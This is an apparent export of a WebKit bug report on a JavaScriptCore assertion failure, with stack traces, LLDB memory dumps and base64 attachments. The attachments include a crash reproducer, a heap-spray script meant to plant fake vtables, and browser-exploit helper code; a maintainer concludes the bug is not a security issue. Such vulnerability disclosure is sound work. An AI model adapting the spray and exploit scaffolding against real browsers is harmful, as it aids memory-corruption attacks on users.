292939 2025-05-13 10:02:22 -0700 [JSC] ASSERTION FAILED: codeBlock->canGetCodeOrigin(index) 2025-05-28 15:33:58 -0700 1 1 1 Unclassified WebKit JavaScriptCore WebKit Nightly Build Unspecified Unspecified RESOLVED FIXED InRadar P2 Normal --- 1 rhezashan ysuzuki bfulgham webkit-bug-importer oldest_to_newest 2116802 0 rhezashan 2025-05-13 10:02:22 -0700 I'm filling as security for precaution. Tested on latest Webkit @main Debug ``` commit 8016724906a1de17b5e868edba4e93a6615a9aa7 (HEAD -> main, origin/main, origin/HEAD) Author: Alex Christensen <achristensen@apple.com> Date: Mon May 12 18:12:15 2025 -0700 -- bisection Last good version: 289982@main First bad version: 289983@main Last bad version: @main -- repro ./jsc --useFTLJIT=0 --slowPathAllocsBetweenGCs=100 --forceDebuggerBytecodeGeneration=1 --forceEagerCompilation=1 ./ori.js ``` ASSERTION FAILED: codeBlock->canGetCodeOrigin(index) ./interpreter/StackVisitor.cpp(152) : void JSC::StackVisitor::readFrame(CallFrame *) 1 0x11fbc3d6e JSC::StackVisitor::readFrame(JSC::CallFrame*) 2 0x11fbc3926 JSC::StackVisitor::StackVisitor(JSC::CallFrame*, JSC::VM&, bool) 3 0x11fbc40f4 JSC::StackVisitor::StackVisitor(JSC::CallFrame*, JSC::VM&, bool) 4 0x11fbc1475 void JSC::StackVisitor::visit<(JSC::StackVisitor::EmptyEntryFrameAction)0, JSC::ShadowChicken::update(JSC::VM&, JSC::CallFrame*)::$_0>(JSC::CallFrame*, JSC::VM&, JSC::ShadowChicken::update(JSC::VM&, JSC::CallFrame*)::$_0 const&, bool) 5 0x11fbc0638 JSC::ShadowChicken::update(JSC::VM&, JSC::CallFrame*) 6 0x11f672781 JSC::Heap::stopThePeriphery(JSC::GCConductor) 7 0x11f668226 JSC::Heap::finishChangingPhase(JSC::GCConductor) 8 0x11f66c3cc JSC::Heap::changePhase(JSC::GCConductor, JSC::CollectorPhase) 9 0x11f668403 JSC::Heap::runNotRunningPhase(JSC::GCConductor) 10 0x11f667203 JSC::Heap::runCurrentPhase(JSC::GCConductor, JSC::CurrentThreadState*) 11 0x11f6733a0 JSC::Heap::collectInMutatorThread() 12 0x11f67315c JSC::Heap::stopIfNecessarySlow(unsigned int) 13 0x11f675107 void JSC::Heap::waitForCollector<JSC::Heap::waitForCollection(unsigned long long)::$_0>(JSC::Heap::waitForCollection(unsigned long long)::$_0 const&) 14 0x11f666d47 JSC::Heap::waitForCollection(unsigned long long) 15 0x11f666036 JSC::Heap::collectSync(JSC::GCRequest) 16 0x11f66624c JSC::Heap::collectNow(JSC::Synchronousness, JSC::GCRequest) 17 0x11f7c706f JSC::LocalAllocator::doTestCollectionsIfNeeded(JSC::Heap&, JSC::GCDeferralContext*) 18 0x11f7c6886 JSC::LocalAllocator::allocateSlowCase(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) 19 0x1205e8248 JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::'lambda'()::operator()() const 20 0x11d49925a JSC::HeapCell* JSC::FreeList::allocateWithCellSize<JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::'lambda'()>(JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::'lambda'() const&, unsigned long) 21 0x11d498fe2 JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) 22 0x11d498cc1 JSC::Allocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) const 23 0x11d498994 JSC::CompleteSubspace::allocate(JSC::VM&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) 24 0x11f090801 JSC::Butterfly::createUninitialized(JSC::VM&, JSC::JSObject*, unsigned long, unsigned long, bool, unsigned long) 25 0x1207cbbb6 JSC::Butterfly::createOrGrowPropertyStorage(JSC::Butterfly*, JSC::VM&, JSC::JSObject*, JSC::Structure*, unsigned long, unsigned long) 26 0x1207cb965 JSC::JSObject::allocateMoreOutOfLineStorage(JSC::VM&, unsigned long, unsigned long) 27 0x11fdcabf9 operationReallocateButterflyAndTransition 28 0x2f21a0136 27 ??? 0x00000002f21a0136 0x0 + 12651725110 29 0x12232ee86 llint_call_javascript 30 0x11fbb7ce5 JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::JSGlobalObject*, JSC::JSObject*) 31 0x12023171c JSC::evaluate(JSC::JSGlobalObject*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) zsh: illegal hardware instruction ./jsc --useFTLJIT=0 --slowPathAllocsBetweenGCs=100 --forceEagerCompilation=1 Using `ori_heap.js` I've discovered a memory corruption vulnerability in JavaScriptCore that I've been debugging with LLDB. Here's what I've found so far: During garbage collection, a `CodeBlock object's` vtable pointer gets corrupted with invalid values. The corruption follows a specific pattern where the high byte cycles (0x01, 0x00, 0x02, 0x00) while the rest remains constant: ``` First observation: 0x0100120000005210 Second observation: 0x0000120000005210 Third observation: 0x0200120000005210 Later cycles back to previous values ``` The rest of the CodeBlock remains intact (magic number `0xc0deb10c`, valid VM pointer). The corruption happens during Heap::stopThePeriphery when ShadowChicken tries to walk the stack. Despite the corruption, execution continues through multiple GC cycles. The bug is triggered by JavaScript code that creates ArrayBuffers and performs BigInt operations. I've tried to use memory spraying to gain control over the corrupted value, but haven't yet demonstrated direct control. ---------------------------------------------------------------------- for the evidance, please use `ori_hack2.js` and `analyze_vtable.py` on lldb 1. lldb -- ./jsc --useFTLJIT=0 --slowPathAllocsBetweenGCs=100 --forceDebuggerBytecodeGeneration=1 --forceEagerCompilation=1 ./ori_hack2.js 2. (lldb) breakpoint set --file StackVisitor.cpp --line 152 3. (lldb) command script import ./analyze_vtable.py 4. (lldb) run 5. (lldb) analyze_vtable the output === VTABLE CORRUPTION EVIDENCE === CodeBlock address: 0x000062d0000fe2c0 Vtable pointer: 0x0000120000005210 High byte: 0x00, Second byte: 0x00 Pattern does not match expected markers, but may still be corrupted Magic number: 0xc0deb10c (should be 0xc0deb10c) Magic number is intact - confirms selective vtable corruption only === END EVIDENCE === (lldb) p/x *(void**)codeBlock (void *) 0x0000120000005210 (lldb) x/20gx codeBlock 0x62d0000fe2c0: 0x0000120000005210 0x0000620000000108 0x62d0000fe2d0: 0x0000000a00c30100 0x0000000200000006 0x62d0000fe2e0: 0x0000000000000000 0x0000003d00000000 0x62d0000fe2f0: 0x00000000fffffffa 0x000062d000158ae0 0x62d0000fe300: 0x000062d000092780 0x0000000102bf5800 0x62d0000fe310: 0x0000606000019fa0 0x000060e00004ae20 0x62d0000fe320: 0x000060e00004a9c0 0x0000000000000000 0x62d0000fe330: 0x0000000000000000 0x0000000000000000 0x62d0000fe340: 0x0000602000057e90 0x000061400000bc40 0x62d0000fe350: 0x0000608000016d20 0x000061200006f800 (lldb) p/x codeBlock->m_magic (uint32_t) 0xc0deb10c 2116803 1 475213 rhezashan 2025-05-13 10:02:46 -0700 Created attachment 475213 poc 2116804 2 webkit-bug-importer 2025-05-13 10:02:48 -0700 <rdar://problem/151233525> 2116805 3 475214 rhezashan 2025-05-13 10:03:06 -0700 Created attachment 475214 ori_heap.js 2116806 4 475215 rhezashan 2025-05-13 10:03:24 -0700 Created attachment 475215 ori_hack2.js 2116807 5 475216 rhezashan 2025-05-13 10:03:54 -0700 Created attachment 475216 analyze_vtable.py 2117235 6 rhezashan 2025-05-14 19:25:17 -0700 Update: Following the error stack on macOS, it's seems identically with the error stack above(macOS X86_64) ``` rheza@rhezas-MacBook-Pro.local:~/WebKit/WebKitBuild/Debug ./jsc --useFTLJIT=0 --slowPathAllocsBetweenGCs=100 --forceDebuggerBytecodeGeneration=1 --forceEagerCompilation=1 ~/poc.js jsc(6908,0x208f60c80) malloc: nano zone abandoned due to inability to reserve vm space. ASSERTION FAILED: codeBlock->canGetCodeOrigin(index) ./interpreter/StackVisitor.cpp(152) : void JSC::StackVisitor::readFrame(CallFrame *) 1 0x11a328bdc JSC::StackVisitor::readFrame(JSC::CallFrame*) 2 0x11a328730 JSC::StackVisitor::StackVisitor(JSC::CallFrame*, JSC::VM&, bool) 3 0x11a328f80 JSC::StackVisitor::StackVisitor(JSC::CallFrame*, JSC::VM&, bool) 4 0x11a32621c void JSC::StackVisitor::visit<(JSC::StackVisitor::EmptyEntryFrameAction)0, JSC::ShadowChicken::update(JSC::VM&, JSC::CallFrame*)::$_0>(JSC::CallFrame*, JSC::VM&, JSC::ShadowChicken::update(JSC::VM&, JSC::CallFrame*)::$_0 const&, bool) 5 0x11a325548 JSC::ShadowChicken::update(JSC::VM&, JSC::CallFrame*) 6 0x119dd8704 JSC::Heap::stopThePeriphery(JSC::GCConductor) 7 0x119dce93c JSC::Heap::finishChangingPhase(JSC::GCConductor) 8 0x119dd23d0 JSC::Heap::changePhase(JSC::GCConductor, JSC::CollectorPhase) 9 0x119dceb48 JSC::Heap::runNotRunningPhase(JSC::GCConductor) 10 0x119dcd9d0 JSC::Heap::runCurrentPhase(JSC::GCConductor, JSC::CurrentThreadState*) 11 0x119dd9460 JSC::Heap::collectInMutatorThread() 12 0x119dd91bc JSC::Heap::stopIfNecessarySlow(unsigned int) 13 0x119ddb3f8 void JSC::Heap::waitForCollector<JSC::Heap::waitForCollection(unsigned long long)::$_0>(JSC::Heap::waitForCollection(unsigned long long)::$_0 const&) 14 0x119dcd478 JSC::Heap::waitForCollection(unsigned long long) 15 0x119dcc720 JSC::Heap::collectSync(JSC::GCRequest) 16 0x119dcc934 JSC::Heap::collectNow(JSC::Synchronousness, JSC::GCRequest) 17 0x119f3bcb8 JSC::LocalAllocator::doTestCollectionsIfNeeded(JSC::Heap&, JSC::GCDeferralContext*) 18 0x119f3b558 JSC::LocalAllocator::allocateSlowCase(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) 19 0x119885948 JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::'lambda'()::operator()() const 20 0x11a84efdc JSC::HeapCell* JSC::FreeList::allocateWithCellSize<JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::'lambda'()>(JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode)::'lambda'() const&, unsigned long) 21 0x11a84ec1c JSC::LocalAllocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) 22 0x11a851790 JSC::Allocator::allocate(JSC::Heap&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) const 23 0x11a85152c JSC::CompleteSubspace::allocate(JSC::VM&, unsigned long, JSC::GCDeferralContext*, JSC::AllocationFailureMode) 24 0x1198087b4 JSC::Butterfly::createUninitialized(JSC::VM&, JSC::JSObject*, unsigned long, unsigned long, bool, unsigned long) 25 0x11aedbf54 JSC::Butterfly::createOrGrowPropertyStorage(JSC::Butterfly*, JSC::VM&, JSC::JSObject*, JSC::Structure*, unsigned long, unsigned long) 26 0x11aedbd5c JSC::JSObject::allocateMoreOutOfLineStorage(JSC::VM&, unsigned long, unsigned long) 27 0x11a53d9b8 operationReallocateButterflyAndTransition 28 0x128ec4288 27 ??? 0x0000000128ec4288 0x0 + 4981539464 29 0x11c898554 llint_call_javascript 30 0x11a31d10c JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::JSGlobalObject*, JSC::JSObject*) 31 0x11a9ca95c JSC::evaluate(JSC::JSGlobalObject*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) zsh: trace trap ./jsc --useFTLJIT=0 --slowPathAllocsBetweenGCs=100 --forceEagerCompilation=1 rheza@rhezas-MacBook-Pro.local:~/WebKit/WebKitBuild/Debug sw_vers ProductName: macOS ProductVersion: 15.4.1 BuildVersion: 24E263 rheza@rhezas-MacBook-Pro.local:~/WebKit/WebKitBuild/Debug git loq git: 'loq' is not a git command. See 'git --help'. The most similar command is log rheza@rhezas-MacBook-Pro.local:~/WebKit/WebKitBuild/Debug git log commit 37a5e03d2e2fa234e69a4a35b23cc0a538985f2e (HEAD -> main, origin/main, origin/HEAD) Author: Geoffrey Garen <ggaren@apple.com> Date: Wed May 14 18:43:59 2025 -0700 2120103 7 ysuzuki 2025-05-28 03:09:25 -0700 Pull request: https://github.com/WebKit/WebKit/pull/45989 2120104 8 ysuzuki 2025-05-28 03:10:07 -0700 OK, this was not a security issue. We gracefully stop stack visiting when we found it is not a usable CallSiteIndex. 2120242 9 ews-feeder 2025-05-28 15:33:56 -0700 Committed 295518@main (17dac674cab9): <https://commits.webkit.org/295518@main> Reviewed commits have been landed. Closing PR #45989 and removing active labels. 475213 2025-05-13 10:02:46 -0700 2025-05-13 10:02:46 -0700 poc ori.js text/javascript 1583 rhezashan CmZvciAobGV0IGkxID0gMDsgaTEgPCAxMDA7IGkxKyspIHsKICAgIGNvbnN0IHY4ID0geyBhOiAy LCBiOiBpMSB9OwogICAgdmFyIG9iaiA9IHY4OwogICAgZm9yIChsZXQgaTIwID0gKCgpID0+IHsK ICAgICAgICAgICAgY29uc3QgdjEwID0gK3Y4OwogICAgICAgICAgICB2MTAgLyB2MTA7CiAgICAg ICAgICAgIGNvbnN0IHYxNiA9IG5ldyBBcnJheUJ1ZmZlcig2NCwgeyBtYXhCeXRlTGVuZ3RoOiAy Njg0MyB9KTsKICAgICAgICAgICAgbmV3IEZsb2F0MzJBcnJheSh2MTYpOwogICAgICAgICAgICBy ZXR1cm4gMDsKICAgICAgICB9KSgpOwogICAgICAgICgoKSA9PiB7CiAgICAgICAgICAgIGNvbnN0 IHYyMiA9IGkyMCA8IDQwOwogICAgICAgICAgICB2OFs0MF0gPSB2MjI7CiAgICAgICAgICAgIGNv bnN0IHYyMyA9IFtdOwogICAgICAgICAgICBjb25zdCB2MjQgPSB7fTsKICAgICAgICAgICAgdjI0 LmEgPSA0MjsKICAgICAgICAgICAgdjI0LmIgPSA0MjsKICAgICAgICAgICAgdjI0LmMgPSA0MjsK ICAgICAgICAgICAgdjI0LmQgPSA0MjsKICAgICAgICAgICAgdjI0LmUgPSA0MjsKICAgICAgICAg ICAgdjIzLnB1c2godjI0KTsKICAgICAgICAgICAgY29uc3QgdjMxID0ge307CiAgICAgICAgICAg IHYzMS5lID0gNDI7CiAgICAgICAgICAgIHYzMS5kID0gNDI7CiAgICAgICAgICAgIHYzMS5jID0g NDI7CiAgICAgICAgICAgIHYzMS5iID0gNDI7CiAgICAgICAgICAgIHYzMS5hID0gNDI7CiAgICAg ICAgICAgIHYyMy5wdXNoKHYzMSk7CiAgICAgICAgICAgIGNvbnN0IHYzOCA9IHt9OwogICAgICAg ICAgICB2MzguYSA9IDQyOwogICAgICAgICAgICB2MzguYiA9IDQyOwogICAgICAgICAgICB2Mzgu YyA9IDQyOwogICAgICAgICAgICB2MzguZCA9IDQyOwogICAgICAgICAgICB2MzguZSA9IDQyOwog ICAgICAgICAgICB2MjMucHVzaCg0Mik7CiAgICAgICAgICAgIGNvbnN0IHY0NSA9IHt9OwogICAg ICAgICAgICB2NDUuZSA9IDQyOwogICAgICAgICAgICB2NDUuZCA9IDQyOwogICAgICAgICAgICB2 NDUuYyA9IDQyOwogICAgICAgICAgICB2NDUuYiA9IDQyOwogICAgICAgICAgICB2NDUuYSA9IDQy OwogICAgICAgICAgICB2MjMucHVzaCh2NDUpOwogICAgICAgICAgICBjb25zdCB2NTIgPSB7fTsK ICAgICAgICAgICAgdjUyLmEgPSA0MjsKICAgICAgICAgICAgdjUyLmIgPSA0MjsKICAgICAgICAg ICAgdjUyLmMgPSA0MjsKICAgICAgICAgICAgdjUyLmQgPSA0MjsKICAgICAgICAgICAgdjUyLmUg PSA0MjsKICAgICAgICAgICAgdjIzLnB1c2godjUyKTsKICAgICAgICAgICAgcmV0dXJuIHYyMjsK ICAgICAgICB9KSgpOwogICAgICAgIGkyMCsrKSB7CiAgICAgICAgY29uc3QgdjIxID0gKCJwIiAr IGkxKSAmICJ8IjsKICAgICAgICB2MjEgKyB2MjE7CiAgICAgICAgdmFyIGQgPSB2ODsKICAgICAg ICBvYmpbdjIxXSA9IGQ7CiAgICAgICAgb2JqWzFdID0gMjsKICAgICAgICBjb25zdCB2NjkgPSBv YmouYjsKICAgICAgICB0cnkgeyBkLnJldHVybih2NjksIDIpOyB9IGNhdGNoIChlKSB7fQogICAg ICAgIG9ialsyXSA9IGkxOwogICAgICAgIG9iai5wID0gMjsKICAgIH0KfQo= 475214 2025-05-13 10:03:06 -0700 2025-05-13 10:03:06 -0700 ori_heap.js ori_heap.js text/javascript 3024 rhezashan Ly8gQ3JlYXRlIGEgdGFyZ2V0ZWQgaGVhcCBzcHJheSB0byBwbGFjZSBmYWtlIHZ0YWJsZXMgaW4g bWVtb3J5CmZ1bmN0aW9uIHNwcmF5RmFrZVZ0YWJsZXMoKSB7CiAgICBjb25zdCBidWZmZXJzID0g W107CiAgICAvLyBUcnkgdG8gYWxsb2NhdGUgb2JqZWN0cyB0aGF0IG1pZ2h0IGVuZCB1cCBhdCBh ZGRyZXNzZXMgc2ltaWxhciB0byAweDAxMDAxMjAwMDAwMDUyMTAKICAgIGZvciAobGV0IGkgPSAw OyBpIDwgMTAwMDAwOyBpKyspIHsKICAgICAgICBjb25zdCBidWZmZXIgPSBuZXcgQXJyYXlCdWZm ZXIoNDA5Nik7ICAvLyA0S0IgYnVmZmVyCiAgICAgICAgY29uc3QgdmlldyA9IG5ldyBEYXRhVmll dyhidWZmZXIpOwogICAgICAgIAogICAgICAgIC8vIEZpbGwgaXQgd2l0aCBmYWtlIHZ0YWJsZSBl bnRyaWVzIC0gZWFjaCA4IGJ5dGVzCiAgICAgICAgLy8gV2UnbGwgcHV0IHJlY29nbml6YWJsZSBw YXR0ZXJucyB0aGF0IHdlIGNhbiBpZGVudGlmeSBpbiBhIGNyYXNoCiAgICAgICAgZm9yIChsZXQg b2Zmc2V0ID0gMDsgb2Zmc2V0IDwgNDA5Njsgb2Zmc2V0ICs9IDgpIHsKICAgICAgICAgICAgLy8g Q3JlYXRlIHBhdHRlcm5zIHdpdGggaW5jcmVtZW50aW5nIHZhbHVlcyBzbyB3ZSBjYW4gaWRlbnRp Znkgd2hpY2ggb25lIHdhcyB1c2VkCiAgICAgICAgICAgIGNvbnN0IGJhc2VWYWx1ZSA9IDB4ZGVh ZGJlZWYwMDAwMDAwMDsKICAgICAgICAgICAgdmlldy5zZXRCaWdVaW50NjQob2Zmc2V0LCBCaWdJ bnQoYmFzZVZhbHVlKSArIEJpZ0ludChpKSwgdHJ1ZSk7CiAgICAgICAgfQogICAgICAgIAogICAg ICAgIGJ1ZmZlcnMucHVzaChidWZmZXIpOwogICAgfQogICAgcmV0dXJuIGJ1ZmZlcnM7Cn0KCi8v IENyZWF0ZSB0aGUgc3ByYXkgYmVmb3JlIHJ1bm5pbmcgdGhlIHRlc3QKY29uc3QgY29udHJvbGxl ZE1lbW9yeSA9IHNwcmF5RmFrZVZ0YWJsZXMoKTsKLy8gT3JpZ2luYWwgdGVzdCB3aXRoIHNsaWdo dCBtb2RpZmljYXRpb24gdG8gYXR0ZW1wdCBtdWx0aXBsZSBjb3JydXB0aW9ucwpmb3IgKGxldCBh dHRlbXB0ID0gMDsgYXR0ZW1wdCA8IDEwOyBhdHRlbXB0KyspIHsKICAgIGNvbnNvbGUubG9nKCJB dHRlbXB0ICIgKyBhdHRlbXB0KTsKICAgIGZvciAobGV0IGkxID0gMDsgaTEgPCAxMDA7IGkxKysp IHsKICAgICAgICBjb25zdCB2OCA9IHsgYTogMiwgYjogaTEgfTsKICAgICAgICB2YXIgb2JqID0g djg7CiAgICAgICAgZm9yIChsZXQgaTIwID0gKCgpID0+IHsKICAgICAgICAgICAgICAgIGNvbnN0 IHYxMCA9ICt2ODsKICAgICAgICAgICAgICAgIHYxMCAvIHYxMDsKICAgICAgICAgICAgICAgIGNv bnN0IHYxNiA9IG5ldyBBcnJheUJ1ZmZlcig2NCwgeyBtYXhCeXRlTGVuZ3RoOiAyNjg0MyB9KTsK ICAgICAgICAgICAgICAgIG5ldyBGbG9hdDMyQXJyYXkodjE2KTsKICAgICAgICAgICAgICAgIHJl dHVybiAwOwogICAgICAgICAgICB9KSgpOwogICAgICAgICAgICAoKCkgPT4gewogICAgICAgICAg ICAgICAgY29uc3QgdjIyID0gaTIwIDwgNDA7CiAgICAgICAgICAgICAgICB2OFs0MF0gPSB2MjI7 CiAgICAgICAgICAgICAgICBjb25zdCB2MjMgPSBbXTsKICAgICAgICAgICAgICAgIGNvbnN0IHYy NCA9IHt9OwogICAgICAgICAgICAgICAgdjI0LmEgPSA0MjsKICAgICAgICAgICAgICAgIHYyNC5i ID0gNDI7CiAgICAgICAgICAgICAgICB2MjQuYyA9IDQyOwogICAgICAgICAgICAgICAgdjI0LmQg PSA0MjsKICAgICAgICAgICAgICAgIHYyNC5lID0gNDI7CiAgICAgICAgICAgICAgICB2MjMucHVz aCh2MjQpOwogICAgICAgICAgICAgICAgY29uc3QgdjMxID0ge307CiAgICAgICAgICAgICAgICB2 MzEuZSA9IDQyOwogICAgICAgICAgICAgICAgdjMxLmQgPSA0MjsKICAgICAgICAgICAgICAgIHYz MS5jID0gNDI7CiAgICAgICAgICAgICAgICB2MzEuYiA9IDQyOwogICAgICAgICAgICAgICAgdjMx LmEgPSA0MjsKICAgICAgICAgICAgICAgIHYyMy5wdXNoKHYzMSk7CiAgICAgICAgICAgICAgICBj b25zdCB2MzggPSB7fTsKICAgICAgICAgICAgICAgIHYzOC5hID0gNDI7CiAgICAgICAgICAgICAg ICB2MzguYiA9IDQyOwogICAgICAgICAgICAgICAgdjM4LmMgPSA0MjsKICAgICAgICAgICAgICAg IHYzOC5kID0gNDI7CiAgICAgICAgICAgICAgICB2MzguZSA9IDQyOwogICAgICAgICAgICAgICAg djIzLnB1c2goNDIpOwogICAgICAgICAgICAgICAgY29uc3QgdjQ1ID0ge307CiAgICAgICAgICAg ICAgICB2NDUuZSA9IDQyOwogICAgICAgICAgICAgICAgdjQ1LmQgPSA0MjsKICAgICAgICAgICAg ICAgIHY0NS5jID0gNDI7CiAgICAgICAgICAgICAgICB2NDUuYiA9IDQyOwogICAgICAgICAgICAg ICAgdjQ1LmEgPSA0MjsKICAgICAgICAgICAgICAgIHYyMy5wdXNoKHY0NSk7CiAgICAgICAgICAg ICAgICBjb25zdCB2NTIgPSB7fTsKICAgICAgICAgICAgICAgIHY1Mi5hID0gNDI7CiAgICAgICAg ICAgICAgICB2NTIuYiA9IDQyOwogICAgICAgICAgICAgICAgdjUyLmMgPSA0MjsKICAgICAgICAg ICAgICAgIHY1Mi5kID0gNDI7CiAgICAgICAgICAgICAgICB2NTIuZSA9IDQyOwogICAgICAgICAg ICAgICAgdjIzLnB1c2godjUyKTsKICAgICAgICAgICAgICAgIHJldHVybiB2MjI7CiAgICAgICAg ICAgIH0pKCk7CiAgICAgICAgICAgIGkyMCsrKSB7CiAgICAgICAgICAgIGNvbnN0IHYyMSA9ICgi cCIgKyBpMSkgJiAifCI7CiAgICAgICAgICAgIHYyMSArIHYyMTsKICAgICAgICAgICAgdmFyIGQg PSB2ODsKICAgICAgICAgICAgb2JqW3YyMV0gPSBkOwogICAgICAgICAgICBvYmpbMV0gPSAyOwog ICAgICAgICAgICBjb25zdCB2NjkgPSBvYmouYjsKICAgICAgICAgICAgdHJ5IHsgZC5yZXR1cm4o djY5LCAyKTsgfSBjYXRjaCAoZSkge30KICAgICAgICAgICAgb2JqWzJdID0gaTE7CiAgICAgICAg ICAgIG9iai5wID0gMjsKICAgICAgICB9CiAgICB9CiAgIC8vIEZvcmNlIEdDIGJldHdlZW4gYXR0 ZW1wdHMgaWYgYXZhaWxhYmxlCiAgICBpZiAodHlwZW9mIGdjID09PSAnZnVuY3Rpb24nKSBnYygp Owp9 475215 2025-05-13 10:03:24 -0700 2025-05-13 10:03:24 -0700 ori_hack2.js ori_hack2.js text/javascript 11503 rhezashan Ci8vCi8vIFV0aWxpdHkgZnVuY3Rpb25zLgovLwovLyBDb3B5cmlnaHQgKGMpIDIwMTYgU2FtdWVs IEdyb8OfCi8vCgovLyBSZXR1cm4gdGhlIGhleGFkZWNpbWFsIHJlcHJlc2VudGF0aW9uIG9mIHRo ZSBnaXZlbiBieXRlLgpmdW5jdGlvbiBoZXgoYikgewogICAgcmV0dXJuICgnMCcgKyBiLnRvU3Ry aW5nKDE2KSkuc3Vic3RyKC0yKTsKfQoKLy8gUmV0dXJuIHRoZSBoZXhhZGVjaW1hbCByZXByZXNl bnRhdGlvbiBvZiB0aGUgZ2l2ZW4gYnl0ZSBhcnJheS4KZnVuY3Rpb24gaGV4bGlmeShieXRlcykg ewogICAgdmFyIHJlcyA9IFtdOwogICAgZm9yICh2YXIgaSA9IDA7IGkgPCBieXRlcy5sZW5ndGg7 IGkrKykKICAgICAgICByZXMucHVzaChoZXgoYnl0ZXNbaV0pKTsKCiAgICByZXR1cm4gcmVzLmpv aW4oJycpOwp9CgovLyBSZXR1cm4gdGhlIGJpbmFyeSBkYXRhIHJlcHJlc2VudGVkIGJ5IHRoZSBn aXZlbiBoZXhkZWNpbWFsIHN0cmluZy4KZnVuY3Rpb24gdW5oZXhsaWZ5KGhleHN0cikgewogICAg aWYgKGhleHN0ci5sZW5ndGggJSAyID09IDEpCiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcigi SW52YWxpZCBoZXggc3RyaW5nIik7CgogICAgdmFyIGJ5dGVzID0gbmV3IFVpbnQ4QXJyYXkoaGV4 c3RyLmxlbmd0aCAvIDIpOwogICAgZm9yICh2YXIgaSA9IDA7IGkgPCBoZXhzdHIubGVuZ3RoOyBp ICs9IDIpCiAgICAgICAgYnl0ZXNbaS8yXSA9IHBhcnNlSW50KGhleHN0ci5zdWJzdHIoaSwgMiks IDE2KTsKCiAgICByZXR1cm4gYnl0ZXM7Cn0KCmZ1bmN0aW9uIGhleGR1bXAoZGF0YSkgewogICAg aWYgKHR5cGVvZiBkYXRhLkJZVEVTX1BFUl9FTEVNRU5UICE9PSAndW5kZWZpbmVkJykKICAgICAg ICBkYXRhID0gQXJyYXkuZnJvbShkYXRhKTsKCiAgICB2YXIgbGluZXMgPSBbXTsKICAgIGZvciAo dmFyIGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkgKz0gMTYpIHsKICAgICAgICB2YXIgY2h1bmsg PSBkYXRhLnNsaWNlKGksIGkrMTYpOwogICAgICAgIHZhciBwYXJ0cyA9IGNodW5rLm1hcChoZXgp OwogICAgICAgIGlmIChwYXJ0cy5sZW5ndGggPiA4KQogICAgICAgICAgICBwYXJ0cy5zcGxpY2Uo OCwgMCwgJyAnKTsKICAgICAgICBsaW5lcy5wdXNoKHBhcnRzLmpvaW4oJyAnKSk7CiAgICB9Cgog ICAgcmV0dXJuIGxpbmVzLmpvaW4oJ1xuJyk7Cn0KCi8vIFNpbXBsaWZpZWQgdmVyc2lvbiBvZiB0 aGUgc2ltaWxhcmx5IG5hbWVkIHB5dGhvbiBtb2R1bGUuCnZhciBTdHJ1Y3QgPSAoZnVuY3Rpb24o KSB7CiAgICAvLyBBbGxvY2F0ZSB0aGVzZSBvbmNlIHRvIGF2b2lkIHVuZWNlc3NhcnkgaGVhcCBh bGxvY2F0aW9ucyBkdXJpbmcgcGFjay91bnBhY2sgb3BlcmF0aW9ucy4KICAgIHZhciBidWZmZXIg ICAgICA9IG5ldyBBcnJheUJ1ZmZlcig4KTsKICAgIHZhciBieXRlVmlldyAgICA9IG5ldyBVaW50 OEFycmF5KGJ1ZmZlcik7CiAgICB2YXIgdWludDMyVmlldyAgPSBuZXcgVWludDMyQXJyYXkoYnVm ZmVyKTsKICAgIHZhciBmbG9hdDY0VmlldyA9IG5ldyBGbG9hdDY0QXJyYXkoYnVmZmVyKTsKCiAg ICByZXR1cm4gewogICAgICAgIHBhY2s6IGZ1bmN0aW9uKHR5cGUsIHZhbHVlKSB7CiAgICAgICAg ICAgIHZhciB2aWV3ID0gdHlwZTsgICAgICAgIC8vIFNlZSBiZWxvdwogICAgICAgICAgICB2aWV3 WzBdID0gdmFsdWU7CiAgICAgICAgICAgIHJldHVybiBuZXcgVWludDhBcnJheShidWZmZXIsIDAs IHR5cGUuQllURVNfUEVSX0VMRU1FTlQpOwogICAgICAgIH0sCgogICAgICAgIHVucGFjazogZnVu Y3Rpb24odHlwZSwgYnl0ZXMpIHsKICAgICAgICAgICAgaWYgKGJ5dGVzLmxlbmd0aCAhPT0gdHlw ZS5CWVRFU19QRVJfRUxFTUVOVCkKICAgICAgICAgICAgICAgIHRocm93IEVycm9yKCJJbnZhbGlk IGJ5dGVhcnJheSIpOwoKICAgICAgICAgICAgdmFyIHZpZXcgPSB0eXBlOyAgICAgICAgLy8gU2Vl IGJlbG93CiAgICAgICAgICAgIGJ5dGVWaWV3LnNldChieXRlcyk7CiAgICAgICAgICAgIHJldHVy biB2aWV3WzBdOwogICAgICAgIH0sCgogICAgICAgIC8vIEF2YWlsYWJsZSB0eXBlcy4KICAgICAg ICBpbnQ4OiAgICBieXRlVmlldywKICAgICAgICBpbnQzMjogICB1aW50MzJWaWV3LAogICAgICAg IGZsb2F0NjQ6IGZsb2F0NjRWaWV3CiAgICB9Owp9KSgpOwoKLy8gaW50NjQuanMKLy8KLy8gVGlu 